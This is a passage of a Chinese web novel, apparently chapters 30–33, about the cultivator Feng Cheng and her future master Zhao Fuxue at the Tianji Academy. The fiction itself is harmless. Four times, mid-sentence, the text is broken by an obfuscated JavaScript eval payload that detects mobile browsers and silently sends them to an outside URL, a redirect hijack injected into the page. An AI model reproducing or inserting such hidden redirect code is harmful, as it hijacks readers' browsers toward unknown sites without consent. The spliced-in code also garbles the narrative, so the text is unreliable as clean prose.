哪来这么大的火气,封澄无语地瞥了赵负雪一眼,脱口而出道:“指环就是贴身之物了?那我给你包扎的布条算什么,亵衣吗?” 这东西还是她给赵负雪剪外裳时发现的,剪出来一抖,抖出两块布条来,洗净了,妥善叠好了,封澄一眼就看出来了——这就是她撕下来给赵负雪包扎的布条。 赵负雪脸腾地一红,猛地抽开手,终于闭嘴了。 说出来,封澄才觉得这句话是不是过分亲昵了些,她又尴尬地找补道:“……我不是那个意思。” 赵负雪的脸色更古怪了,他转过头去,一路上仿佛闭了嘴的蚌,任凭她一路上再怎么折腾,他也绝不多吭一声了。 封澄对赵负雪这个莫名其妙说来就来的脾气大为拜服。 京城路远,赵负雪又有伤,不能御剑而行,二人紧赶慢赶,走走停停,竟然走了半月有余。 封澄在某一个清晨,习惯地拿起赵负雪早已备好的热毛巾,又梦游似的走到了赵负雪备好早饭的桌子旁时,才猛然发觉,她似乎已经习惯和赵负雪一同出入了。 一想到这里,她当即面露复杂.之色,一边痛心于小小师尊年纪轻轻就被她折腾,一边又对桌上热气腾腾的食物大快朵颐。 “吃慢点,没人和你抢,”赵负雪洗了手落座,先夹了一只烧卖递给她,“这几日古安那边的消息传来了。” 封澄把口中食物吞下,点了点头:“陈氏家主立了个碑,祭奠他不知从哪冒出来的儿子。” 还有就是: “阿环清白了。” 二人沉默,片刻,赵负雪才道:“不说这些,已经进了洛都,你要不要去天机院看一看?” 说来说去还是天机院,封澄哑然失笑,她把赵负雪夹来的烧卖咬开吃了,半晌,才道:“行啊,来都来了。” 天机院与赵府,分别居于洛京的一南一北,封澄与赵负雪来到天机院时,正巧是人少的时候。 二人顺着院墙走,忽然间,远远处有一声吵嚷道:“再让老子上这个劳什子的学,老子就死给你们看!” 随后便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503026|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵拖拖拉拉,踢踢打打声。 年轻的小孩儿,逃学实在太正常了,封澄逃学逃得出花儿,天机院这个院墙,她走得比正门还多。 正好笑时,赵负雪道:“回去要和先生知会一声,加高院墙了。” 封澄悚然一惊道:“赵公子,做人可不能这么不厚道,你自己结业倒是潇洒了,不要给后面的师弟师妹们添堵啊。” 她心中腹诽,在她修学那几年,天机院的院墙倒是不高,但是不知是哪个缺德带冒烟儿的前辈,在墙顶上贴了一溜儿的符,翻了就引雷,险些把她就地轰死。 赵负雪正色道:“哪儿的话,我从不逃学。” 封澄:“……” 封澄干巴巴道:“挺好,赵公子省心。” 不料赵负雪瞄了她一眼:“逃学不好。” 封澄把手往身后一背,笑眯眯道:“说晚了,赵公子,我早就结业了,”说着,她又努努嘴,“不过我虽逃,但从不逃得如此鬼哭狼嚎,我也不给人添麻烦,谁也不必来抓我——反正都抓不到。” 赵负雪:“……” 还挺骄傲。 赵负雪正待说什么,却听那鬼哭狼嚎的声音越来越近,紧接着一少年踩着砖瓦便翻下来,身后一连串的尾巴道:“崔师弟,你不要跑了,不过是个结业考核,有什么可怕的!” 那崔师弟怒吼道:“换你你不跑啊!给我监考的是姓赵的狠女人!她非得扒了我一层皮不可!” 姓赵? 封澄笑吟吟地道:“京城姓赵的天机师,是不是都和你们家沾亲带故?” 赵负雪扶额:“惯例来说,赵家代代都要送一个天机师来天机院坐镇,这一代应当是我祖母的大徒,名唤赵年,是为符修,如今宫中护国大阵,便是她率众布下的。” 原来如此,封澄点了点头。 按理来说,这出逃学闹剧本该到此为之,不料那崔师弟恰巧飞掠到封澄头上这处院墙,脚下不知怎地一滑,竟直直向封澄面前栽下去! 封澄条件反射地抬手去捞,这崔师弟仿佛投怀送抱一般,竟被封澄接了个正着! 少年落入封澄怀中的瞬间,赵负雪的脸色突然如染缸般精彩。 封澄惊魂未定地将人放下来,那崔师弟也傻了,逃也不逃了,骂也不骂了,仿佛一粒钉子一般站在原地,讷讷道:“多,多谢姑娘,多谢姑娘救命。” 细细一看,这师弟倒是眉清目秀,封澄摆摆手道:“无事。” 那崔师弟挠了挠头,正待说什么,忽觉背后一凉,他目光缓缓地向左偏移,落在了封澄身后,散发着丝丝寒意的赵负雪身上。 他当即呆若木鸡:“赵,赵师兄!” 赵负雪森然道:“公然逃课,辱骂师长,还差点砸伤了过路人,我倒要看看,你能跑到哪儿去。” 崔霁的寒毛根根炸起。 封澄常年都是逃学的那个人,没曾想时至今日,竟成了为虎作伥的角色,她惆怅地叹了口气,拍了拍少年肩膀道:“去跪礼室之前,少喝点水。” 31. 第 31 章 封澄跪礼室,经验颇足,此事可追溯到十七年后。 也就是她刚拜入赵负雪门下之时。 “那便是姜徵?” “她姨母是皇后,她又不是皇后,区区入学,怎么搞得这么大阵仗!” “嘘,现下世人只知皇后,不知皇帝,那姜皇后手握大权,又视这侄女儿为眼珠子,你这么说,不要命啦!” “啧……先是赵先生莫名其妙收了个关门弟子,现在又是姜皇后的侄女堵门入学,我看着天机院,早晚要完。” 天机院生徒,自选拔开始,便都是出类拔萃的年轻修士,这其中之人,不乏什么出生便引异象的天纵奇才、豪贵世家的霸道之子,换句话说,在进天机院前,谁还不是被众星捧月供着的人了? 进了天机院,不还是得乖乖穿着校服,老老实实地行礼修学,拜师求教? 可偏生就有这么一人,入学当日,大摆排场,乃是半副凤辇送来、朝中大员作随,连那身天机院出品的、极丑极锉的校服也换了材质,打眼一看,竟是市上万金难求一匹的寸华锦! 被这副阵仗簇拥着的人,自然而然也如凤凰般尊贵,她端然坐在凤辇中,正对着天机院大门。 这一看,也是个十足十的美人胚子,一双丹凤眼冷淡薄情,居高临下,待院内钟声连响三下,她才从容下车,站在了天机生徒的队伍中,向天机院内走去。 天机院的副院长名为冯回,是个个子不高的小老头儿,端的倒是仙风道骨,众天机生徒鱼贯而入,姜徵排在最后,走到她时,副院长略微颔首:“姜姑娘。” 姜徵礼数周全地行了个礼,跟着进去了。 “赵先生这一出,真是天下为之一颤啊,”一旁的天机师唏嘘道,“不知多久没见他露面了,怎么突然跑到长煌去,收了个野孩子做徒弟?” 冯回摇摇头:“赵先生做事,旁人如何敢问?他虽年轻,却是毋庸置疑的大夏第一人,莫说是突然收徒了,哪怕他要拆了天机院,难道还有人能拦他。” 说着,他惆怅地看着姜徵的背影:“只是姜家几番示好,赵家皆不理会,皇后娘娘将侄女送来天机院,可谓是动了怒了。” 说到这里,冯回突然想起什么来:“赵先生新收的徒儿叫什么?封,封澄是吧?快让她藏起来,莫要去戳姜姑娘的眼珠子。” 此时此刻,本该同众人一道入学的封澄,却呆在鸣霄室中百无聊赖,仿佛臀下生了荆棘。 “你叫什么名字?”她问道。 赵负雪置若罔闻。 “你今年多大?” 赵负雪寂静无声。 “你……你什么都不和我说,我可回长煌了!” 赵负雪顿了顿,终于说话了:“日后,我便是你师尊,你不必回去。” 什么乱七八糟的,封澄一拍桌子,拍得赵负雪桌上棋子齐齐一蹦:“你说京城有银子赚,有好药卖,我才跟着你来的!我要银子,要药材,要什么师尊!” 天机院的弟子服并不合身,她有些瘦小,年岁也不足,哪怕是寻了最小的弟子服来,她仍然得卷袖子。 赵负雪平静道:“外裳脱来,我替你改一下。” 封澄:“……” 封澄:“改什么改,你这个拐子,赶紧放我出去。” 话音未落,封澄的腰带忽然一开,随即那衣裳仿佛自己长了腿一样,嗖地从她身上飞了出去,封澄两眼一白,被带得一个踉跄,当即一头砸在了赵负雪的棋局上。 黑子白子叮当滚了一地,这局棋当真是下不得了。 抽衣大法抡得封澄眼冒金星,她头朝桌子缓了会儿神,心想:“看着正人君子一张脸,怎么心这么狠!” 此时此刻,她突然反应过来——赵负雪抽走了她的外裳,她不就只剩下里衣了吗? 虽然没读过几天书,但基本的礼义廉耻,封澄还是有的,她的脸唰地一片通红,紧接着把自己滚进了一旁的帘子中,勃然大怒道:“流氓!有没有人啊——救命啊!救命啊!” 任凭封澄通天叫嚷,赵负雪依旧平静无比地捏出一枚绣花针来——这模样贤惠得封澄险些给他跪了。 “穿上,”赵负雪冷静地将袖口缝上去,又冷静地断了线,“随我走。” 封澄裹在帘子里由且大叫不绝,赵负雪似乎也没什么耐心,他拿着改好的衣服走进封澄:“是你穿,还是我来为你穿?” 他居高临下的阴影笼在封澄的脸上,封澄静了片刻,好汉不吃眼前亏地穿上了。 天机院的学生并不多,封澄跟着赵负雪走到杏堂时,学生与天机师已经到齐了,众人鸦雀无声,肃然静立,不声不响地等待赵负雪的到来。 天机院众师挑选徒弟,大都是走今日杏堂之流程,然后再行拜师之仪,众弟子拜师后,也可按所需去修行别派天机师的法门,赵负雪带封澄前来,从容道:“坐到我身边。” 此言一出,众学生皆大为哗然:“传言中赵先生收徒是真的?果然捡了个长煌大原的人来做徒弟?” 端坐于首位的姜徵不动神色地抿了抿唇。 封澄虽然搞不懂天机院中这些弯弯绕绕的门路,但从众人的反应来看,赵负雪身边的这个位置是万万坐不得的,谁坐谁倒霉,她当场讪笑道:“既然送我到这儿了,就不用再送了,我……” 话音未落,她早已掠身飞出八丈远,“我走了啊!” 这一掠可谓是震惊四座,赵负雪眼神一凝,端然喝了口茶,冷冷道:“回来。” “你说回来就回来?”封澄骂骂咧咧地往外冲,“骗我一次,还想骗我第二次?看我向官府告死你,你这个心狠手黑的大拐子!” 这句话说出来的后果,就是周围安静了,寂静了,死寂了。 平心而论,封澄的轻功在同龄人中可谓是出类拔萃的,得益于常年逃亡的经历,她非常有自信,只要有地方能让她跑,就算身后追着的是生有双翼的天魔,她也是毫不惧怕的。 眼看着院墙越来越近,越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503283|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近,就在她双眼发亮,奔向自由的大门时,身后忽然飞来一道雪亮的刀光,封澄猛地一回身,对上一双冰冷的丹凤眼。 “侮辱赵先生,”她道,“还想全身而退?” 封澄猝不及防,险之又险地避开了姜徵挥来的一刀,随即单指点在她的刀身上,一个飞掠落在她身后,手刀一转,稳准狠地落在她喉间关节上,不满道:“你又是何方拐子啊?” 她常年于长煌大原上搏命,乃是刀尖上舔血的亡命之徒,使出手的,全部都是一击必杀的杀招,封澄心中也有数,这关节一错位,面前这位使刀使得极漂亮的姑娘便会人头落地,于是她扯着人落在了院墙上,道:“放我走,不然我就在这儿杀了她。” 此时此刻,在场的众学生已然不是死寂了,而是几乎要昏过去了,冯回几乎当场昏了过去,他抖着胡子道:“封,封姑娘,你先把人放开!” 一旁的赵负雪却轻轻叹道:“来不及了。” 话音未落,天机院中不知何时冒出了数位鬼魅似的修士,其周身灵力波动,竟然一时之间压得众学生难以呼吸。 “天生的麻烦精,”赵负雪从容起身,只见他手一抬,封澄便如同断翅雏鸟似的猛地冲到了他的身边,一旁的姜徵得以喘息,青着脸跪倒在了地上。 那些鬼魅似的修士齐齐聚在姜徵身后,为首一人的声音苍老无比;“赵先生,此人意图谋害姜姑娘,还请先生将她交由我等处置。” 大能修士,即便是声音,也时足以使人肝胆俱裂的,这修士的声音众饱含灵力,当场便有几个灵力低微的弟子承受不住,翻滚着跪倒在了地上,赵负雪冷哼一声,将身后封澄牢牢护住。 “我的弟子,即便是犯下滔天大罪,也当交由我处置。” 封澄怔然半跪在地,感觉到身上的经脉似乎处处受阻,种种迹象,竟然是像被封了灵力! 那老者道:“收徒仪式还未开始,此人未曾行全拜师之礼,如何是赵公子的徒弟?” 此事即便是傻子,也当知晓此事利害了,封澄当机立断,毫不犹豫道:“师尊在上,请受徒儿一拜!” 周围寂静了。 老者顿了片刻,难以置信道:“赵先生便要为了这种市井泼皮,与姜家决裂吗?” 赵负雪寂然片刻,陡然间,一道飞剑凭空出现,极快地刺向这位老者! “我的徒儿,还轮不到旁人评判。” 那老者口吐鲜血地被击飞出去,一旁的众修士却不敢再上前一步,众目睽睽下,赵负雪从怀中取出一玉佩,交由封澄:“从此以后,你便是我赵负雪的徒儿了。” “你我从此,同进同退,同生同死。” 众人一听,面面相觑——原本该说的话,似乎并不是这么说的。 封澄不疑有他,她心中只有小命要紧,于是她抬起手,郑重地接过赵负雪递来的玉佩。 玉佩入手温润,其中蕴藏灵气,令她周身一松。 “同进同退,同生同死。” 32. 第 32 章 如若封澄在外惹事,旁人道:“喊出你家长辈来!” 这种时候,够资格被封澄喊出来的,有且只有赵负雪一人。 而此时倒反天罡,封澄与赵负雪并肩坐着,面前是赵负雪的长辈,女修不苟言笑,严厉之色几乎写在了脸上,她的目光停在封澄身上,每一停,便引得封澄一抖。 即便封澄手里拿着滚热的茶水,仍然抵不过从后背冒出来的,一阵一阵的寒意。 赵负雪端然坐在她身边,瞥了一眼,道:“你抖什么?” 封澄颤颤巍巍地把茶送入口中:“茶,茶水,很烫。” 话音未落,滚热的茶水霎时激得她一抖,赵负雪把茶杯夺来,压声怒道:“知道烫还喝!” 赵年冷哼一声,终于放过了封澄,她重新把注意转移到了垂头丧气跪在地上的崔霁上,寒声道:“结业之日,翻墙出逃,口出狂言!天机院教你的本事,就让你学来翻墙溜号了!” 声声夺命,崔霁大气也不敢出,赵年道:“你去跪三日,跪明白了,再行结业,滚下去!” 崔霁爬起来,行了个礼,慢吞吞地走了。 将逃课的崔霁处理出去后,赵年又将目光移向了封澄,她冷冷地道:“公子,您在信上说的人,便是这个姑娘?” 赵负雪微微点头,道:“正是。” 封澄不知道赵负雪还写了信,闻言正在讶异,却听上面赵年慢慢地走下来,在她身边踱步,陡然间,伸出手来,猛地击向了她的胸口命门! 她猝然一惊,本能地反手钳制住赵年,赵年不退不避,反手成刺,冲向她的喉咙。 身上两处命门被击,封澄灵气腾然而起,赵年见封澄身边灵气,眼睛危险地一眯。 赵负雪瞳孔剧烈一缩,挡上来道:“年院长,不可!” 她慢慢道:“如若我这双老眼还未昏花,这姑娘,似是一位毫无疑问的血修。” 封澄此时也明白了,她身上灵气缓缓收归体内,赵负雪咬牙道:“是,她是血修。” 赵年怒道:“公子,您当真是昏了头了!出门历练这几年,您早该长了见识,血修是何物,您难道不知晓?这种秽物,竟能被带入天机院来!” 赵负雪道:“她不是……我在信中说过,封姑娘本质纯善,侠肝义胆,数次救我于水火之中,与旁人都不同。” 此时此刻,赵年看着封澄的眼神,宛如把自家黄花闺女拐走的街头流氓,封澄不动声色地向后退了退,一时有些尴尬。 赵年恨铁不成钢道:“我知道,若非如此,这血修踏入这天机院的第一步,定然被我一掌毙了。天机院从未有过招收血修之先例,公子所言,恕我不能听从。” “血修肮脏不洁,邪淫成性,公子,您……” 听到此处,封澄终于听不下去了,她举起手来,面无表情道:“这位洁净的尊者,我虽为血修,却并未作奸犯科,更不曾对你家公子行冒犯之事,实在当不得您老这般当面侮辱。” 她自从走上血修这条路,这种话便从未断绝过。 耳朵里听的,背后讲的,林林总总,她早不在乎了。 可站在赵负雪的面前,她却忽然想要认真这一次。 顿了顿,她铿锵有力道:“这些都是我没做过的事,还希望你,向我道歉。” 此言一出,四下皆静。 赵年重新把脸转向封澄,半晌,笑了两声:“这么说,是我冤枉了你?” 封澄道:“是。我若邪淫肮脏,那么你家这位与我同出同入,同起同居的赵公子,又算什么?” 她瞄了赵负雪一眼,心平气和道:“同流合污吗?” 刹那间,赵年的脸无比难看,她冷笑两声,一字一顿道:“本质纯善,侠肝义胆?” 闻言,封澄也叹了口气:“我可没说过。” 二人只见似乎有火花刺啦作响。 赵负雪当机立断,一把抓住封澄手腕,就要向外走去;“今日有事,年院长,我们就先不奉陪了。” “公子留步。” 忽然,门前亮起一阵,随即便是刺啦灵流,拦住了二人去路,赵负雪不回头,道:“什么意思。” 赵年冷声道:“看在公子面子上,这个血修,天机院能收。” 封澄刚要道一声谁稀罕,却听见身边赵负雪道:“条件。” 赵年走到封澄面前,低头,似笑非笑地看着她:“不难,血修转修,定然要有个方向,今日我就来试试这位姑娘的资质如何。” 她一抬手,身后灵阵轰然而起,雷鸣之声不绝于耳。 “破阵,我便收她入我门下。”赵年道,“从血修转回符修,我定然亲力亲为,万死不辞。” 这个条件着实是诱人极了,天下第一符修的亲传弟子,不知多少人要挣破了头。 赵年又道:“公子还请回避,容她一人来破阵。” 不料此时,赵负雪却冷笑了:“如此刁难,倒是不必了,我们走。” 说话间,见素悍然出鞘,冰冷寒气霎时席卷了整个屋舍,忽然间,他的袖口却被轻微地捏了一下。 不重,就像是猫的爪子。 封澄抬眼,转头笑道:“院长,我所熟知的破阵之法,自始至终只有一个。” 她的灵力毫无保留地自她身上汹涌而出,仿佛是一道闸门打开,却放出了沧海汪洋。 在这般灵力的冲击下,那雷鸣轰然的阵法,竟然寸寸龟裂,应声破裂! 封澄头也不回,抬起赵负雪的手,便向门外走去了。 赵年怔然站在二人身后,见到她的背影渐渐远去。 莫名地,她摸了摸自己的胸口。 她笃定,封澄所言的破阵之法,绝不是像她那样用灵力,将阵法撑爆。 而是转过身来,将阵主一击杀死。 不经世事的修士,一定会将精力集中于破阵上,而久经沙场的老手,只会找到一条最便捷的途径。 说到底,在设阵之时,把自己置身与封澄的面前时,她就已经输了。 这样想着,赵年看向封澄的目光,隐隐一动。 待二人出了赵年的大门,封澄便松开了赵负雪的手,面无表情道:“我要一个人去逛逛,你且自己回赵家吧。” 赵负雪伸手道:“封……” 封澄转身便走,一个眼神也未分给他:“别跟过来。” 赵负雪:“……” 望着封澄渐行渐远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534127|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背影,赵负雪怔在原地,脸上第一次露出了类似于完蛋的表情。 天机院对于封澄来说,可谓是熟门熟路,此时正是众多生徒修习的时候,倒是不会碰到人,她懒洋洋地闲逛,心中的不爽却越发明显了。 赵负雪带她来见的什么人!从前一点儿都没和她说过,还迎头挨了一顿莫名其妙的数落! 她气得向墙上咣咣砸了两拳,恨不得这拳头是冲着赵负雪去的。 忽然间,封澄反应过来。 她在生赵负雪的气?她在怪赵负雪? 封澄停了下来。 这个赵负雪,与她后面所拜的师尊,割裂感强到了无法忽视的地步。 她的师尊,好像从来不会出错,温和周全,清冷无尘,简直比仙人还要仙人。 这个赵负雪,行事莽撞,自以为是,虽会讨好人,却往往讨好得笨拙,会吐槽,会生气,还会犯错。 她的拳头砸在屋后墙上:“简直……” 简直是个活人。 对,活人。 她后知后觉地发现,曾经赵负雪于她,是神祗,是师尊,是追逐仰望的对象,却独独不是像现在这样,是个能够令她心生恼火的活人。 越想越焦躁,封澄索性又往墙上砸了几拳,正咣咣发泄之际,忽然墙后传来幽幽一声:“这位仁兄,再砸,墙要穿了。” 封澄吓了一跳,连忙收回了手,墙后又传来一声:“也别走啊!此处相遇,可谓是缘分,不如交个朋友,如何?” 这声音越听越耳熟,封澄凝神,片刻,道:“你是,你是那个崔……崔什么。” “……” 对面陷入了沉默。 半晌,墙上忽然传来动静,封澄抬眼,正巧撞入崔霁亮出来的大白牙:“你好啊,我们又见面了。” 果然是他,封澄不由得一笑:“两次见你,都在墙上,你一定与天机院的墙有缘分。” 崔霁左右看看,飞身落下,唉声叹气道:“别提了,本来赵院长这关就不好过,现在被抓了,喏,我定然要被排到下一年,再把天机院的课程上一个遍。” 封澄叹息道:“这时候还真好啊,天机院学生都能迟一年结业了,像我们那时候,连结业都不必结业,就被派出去历练了。” 这话说得崔霁睁大了眼睛:“姑娘看着年轻,不曾想竟然是我的师姐!师姐是哪位先生门下的?” 哪位先生? 她的师尊这时候才刚结业呢。 支支吾吾片刻,封澄敷衍过去:“他早离开了,云游天下,连我也找不着他。” 崔霁唔了一声,又兴致勃勃道:“姑娘那时候可真好啊,不必结业就能出去了,想来是潇洒自在,无拘无束。” 什么自由自在,封澄不由得笑了:“什么啊,我那时候,魔物到处跑,天机师不够用,连半大的学徒也得去出生入死,天机军里最年轻的兵士,不过十几岁。” 崔霁当即愣住了:“那姑娘你早早结业,也是因为……” 封澄道:“我倒不是因为这个,我那年,和我师尊吵了一架,于是赌气跑出来了。” 远处忽然传来轻轻的步音,封澄抬眼,看到不远处露出来的雪白衣角。 33. 第 33 章 赵负雪似乎想要走过来,似乎是见她在同人说话,才站在远处不靠近的。 如果他不想被人发现,自然有千百个法子,可偏生就露出一个衣角来了,封澄好气又好笑,正在这时,崔霁又偏偏插嘴道:“怎么吵起来的?” 封澄斟酌片刻,果断道:“我至今也搞不明白,只好觉得是他老眼昏花,上了年纪发疯。” 崔霁:“……” 真是个大逆不道的好徒弟。 不知何时起了一阵风,二人坐在树下,不免风吹了几片草叶在身上,正说着,崔霁忽然道:“别动。” 片刻,手绕到她颈后,从封澄的肩上取下了一片草叶。 封澄微怔,崔霁笑道;“叶子。” 原来如此,封澄点了点头,忽然崔霁变戏法一样又取了几片草叶,手指一飞,三下五除二,竟将那片草叶与其余几片编成了一只草蚂蚱,蚂蚱活灵活现,栩栩如生,封澄不免笑道:“好有趣,很像。” 崔霁笑眯眯地递过去道:“给师姐的。” 封澄不疑有他,伸手去拿,不料崔霁一收手,又道:“不过呢,师姐要给我一样东西作交换。” 倒也不是稀罕那只草蚂蚱,封澄觉得有趣,道:“你说。” 崔霁道:“我想要师姐告诉我,你叫什么名字?” 给个名字有什么的,封澄当即就要张口,忽然面上笼罩了一片阴影,紧接着便是熟悉无比的冷香,一抬头,只见赵负雪冷着脸道:“与其问师姐叫什么名字,不如关心关系你现下叫什么。” 崔霁当即吓得一弹,猛地站起来道:“……赵赵赵师兄!?” 赵负雪道;“禁闭期间,私自外出,跪回去。” 崔霁垂头丧气地行了个礼,灰溜溜地跃上了墙头,转头又道:“我一定会知道师姐的名字的,师姐,等我啊!” 陡然一道刺目寒光飞去,崔霁哎呦一声,逃也似地钻进了院子中。 赵负雪收剑,风将他宽大的袖子吹到了封澄的脸上,蒙了她一头一脸,封澄索性往后一仰,似笑非笑道:“赵公子,你把他吓跑了,谁赔我蚂蚱。” 赵负雪回过头,一低头,看到封澄仰着脸看他,他登时脸有些红。 “……就那么好吗?” 封澄没听明白:“什么?” 赵负雪顿了顿:“蚂蚱,就那么好吗?” 当然好,封澄索性拍了拍屁.股站起来:“赵公子,这就是你不懂了,古人有言,投我以木瓜,报之以琼琚,要紧的是这个木瓜吗,当然不是喽。” 她摇头叹息,从赵负雪身边擦着肩走过:“要紧的是这个少年情思啊——赵公子,你可当真是块冷冰冰的木头。” 忽然间,一只手拦住了她的去路。 他道:“这个,要不要?” 他的手如同精心雕琢的白玉,骨节分明,流畅修长,而那只玉似的手上,却捏着一只黄灿灿的糖人。 如若只是糖人也就罢了,可这个糖人,却是被手艺绝佳的糖师傅细细照料过的,眉眼神态,活灵活现,好似一个金灿灿的活人儿。 它被手艺匠人捏成了一个负剑的少年,这少年跪地求饶,哇哇大哭,看着着实凄惨极了。 封澄一怔,赵负雪那边又迟疑问道:“……不要吗?” 他的胸口跳得能让他喘不过气来,见封澄不动,赵负雪脸一红,就要把手往回缩,不料封澄一把抓住了他的手,从他的手中将糖人捞了出来。 她好像也有些傻傻愣愣的了,拿过糖人,好像是从来没见过一样,眼睛几乎粘了上去。 赵负雪目不转睛地看着她,他由且记得那糖师傅听到他说出那荒谬要求时,无比意味深长的表情。 老头儿的眼神几乎将他脸皮烧穿, “做个最大的糖人儿?为了向人道不是?” 赵负雪硬着头皮;“……是。” 老头儿不紧不慢地烧起热锅来,将糖块放在锅中融化;“听我一句劝,小公子,凡事在精,不在多。” 赵负雪悚然正色道:“请老先生赐教。” 说话间,糖已化好了,老头儿却神秘地摇了摇头:“千金易得,诚意难求,这求起姑娘心软来,必然要求到其心坎儿里,你这么举过一个大糖人儿去,只怕姑娘齁都要齁死了,谁管你道的什么不是?” 这么一想也有道理,赵负雪沉吟片刻,眼睛一亮,老者连忙道:“你想到了,姑娘吃哪一套?” 赵负雪双目坚定:“跪地求饶,撒娇打滚,嚎啕大哭。” 老头儿跃跃欲试的手顿住了,他满是皱纹的脸上一片空白:“……啊?” 赵负雪更坚定了:“就这么做。” 竹林风起,一齐吹动了二人的衣袖,封澄的长发蒙了眼,她连忙把头发挽到耳后,偷眼瞥去,只见赵负雪满脸通红,细细一看,脚尖朝外,竟是一言不合,就原地逃跑的架势。 赵负雪自小便生在赵家那等世家,喜怒不形于色早已是刻在骨子里的东西,偏生此时,他的紧张与期待,他的慌乱与尴尬,同他脸上的绯意一起,无所遁形。 封澄垂眸看向这只糖人,半晌,才道:“手艺了得,比我做的好上许多。” 赵负雪神色一紧,他猛地抬起头来,紧紧地盯着封澄,不错过她脸上一丝一毫细微的变化。 可令人沮丧的是,封澄的脸上连一根肌肉的波动都没有,令人根本猜不透她在想什么。 她冷不丁将糖人举起,三下五除二,咔咔嚼了个干净,动作比兔子吃白菜还有利索许多,吃完,她拍了拍手,又擦了擦嘴边的糖屑,转头就走,赵负雪还未来得及叫住她,便见封澄住了脚,微微偏头到:“崔霁应当关心自己叫什么?” 这话说得没头没脑,但赵负雪还是很快地反应过来了,他不假思索,开口道: “叫明知故犯,一犯再犯,罪加一等。” 封澄那处忽然就传来一声莫名其妙的冷笑,随后她飘飘去了,留下一句: “你当真是块木头。” 这句话也不明不白,赵负雪微微皱眉,好像是被封澄不轻不重地拍了一巴掌一样,懵然,不理解。 这句话是原谅还是不原谅? 他上前一步,不料封澄道:“不要再跟过来。” 这段拒绝说得铿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546868|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锵有力,坚定又果决,无法令人抗拒,就像是在战场上发号施令的将军,赵负雪当即便定在了原地。 封澄走远,他失魂落魄地出了竹林。 这是原谅,还是不原谅? 赵负雪坐卧不安,站也纠结,坐也纠结,纠结了半日,还没纠结出个结果来,事实便突然给了他狠狠一巴掌——封澄就不见了。 这件事,是他过了一会儿,打算带她回赵家入住时发现的。 二人这几日同出同入,住的都是同一家客栈,开两间房舍,房费从来都是他退房舍时结,不料这晚他回到客栈,打算与客栈老板算清房费时,却得到了老板意外的回答。 “房费?”他看了看赵负雪,又努力看了看账本,“不是一个姑娘,今日过来结清了吗?” 凭空一道霹雳下来,赵负雪当即便被劈在了原地。 赵负雪这张脸,俊起来的时候要命,一白也是要命,客栈老板当即就慌了神,咋咋呼呼便道:“公子,公子你怎么了?脸怎么这么白?小二,端个糖水来,小二!” 赵负雪不知道自己是怎么走出客栈的大门的,他觉得自己的脚下仿佛踩了棉花,一步一步,都是发虚,从脑中到耳中皆是一片嗡鸣,连身后客栈老板的连声呼唤也听不到。 她走了,不告而别地走了。 他后知后觉地反应过来,封澄于他,大概不必告别——二人从来只是萍水相逢的过路之人。 古安发生的种种皆历历在目,赵负雪慢慢地定住了脚,忽然觉得眼睛有些生疼。 那日有人问封澄名姓籍贯,她说自己无名无姓,居无定所。 像一尾恣意的鱼,偶然游来,兴起了,泼他一尾水花,在她眼中,将他安然无恙地送到赵家,便足以将这旅途告一段落了。 二人之间,大抵连朋友都算不上,可能在封澄眼中,他只是个木头一样的旅伴。 想到这点的赵负雪,心口一阵一阵地酸疼。 她怎么连个信也不留一个,这让他以后怎么去找她? 深夜,赵府门口早已有了接应之人。 众人皆焦急地探头向远处看去——原本说好的时间一拖再拖,本是赶在晚膳前的迎接,却在深夜了却还未见到人。 终于,远远处有了人影,赵府一众不见车马,先是有些奇怪,后又见赵负雪一人失魂落魄地走来,当即被唬了一跳,为首的管家一路小跑着迎上来,正要去问问情况,谁料还没走到赵负雪跟前,赵负雪便一头栽倒在了地上。 赵德一傻,随即魂飞魄散地扑上去,将人扶起来一摸,只觉得赵负雪额头滚烫,身上却是冰凉,他当即心下道一声不妙,失声道:“喊人,快喊人来,给老尊者传话,公子出事了!” 似乎有人七手八脚地来架他,赵负雪恍惚地抬起头来,眼前光影重重,似乎是许多人重叠的脸。 